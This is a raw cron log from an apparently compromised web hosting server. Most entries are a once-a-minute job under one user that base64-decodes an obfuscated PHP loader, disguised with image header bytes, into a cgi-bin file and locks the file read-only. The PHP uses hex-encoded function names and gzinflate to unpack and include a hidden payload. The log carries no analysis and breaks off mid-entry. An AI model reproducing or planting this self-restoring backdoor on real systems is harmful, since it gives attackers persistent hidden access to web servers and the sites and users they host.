Nov 10 05:16:01 server CROND[16804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:17:01 server CROND[17630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:18:01 server CROND[18443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:19:01 server CROND[19354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:20:01 server CROND[20101]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 05:20:01 server CROND[20103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:20:01 server CROND[20104]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 05:20:01 server CROND[20105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:20:01 server CROND[20106]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:21:01 server CROND[20831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:22:01 server CROND[21246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:23:01 server CROND[22068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:24:01 server CROND[22804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:25:01 server CROND[23713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:25:01 server CROND[23714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:25:01 server CROND[23716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:26:01 server CROND[24651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:27:01 server CROND[25510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:27:01 server CROND[25511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:28:01 server CROND[26329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:29:01 server CROND[27147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 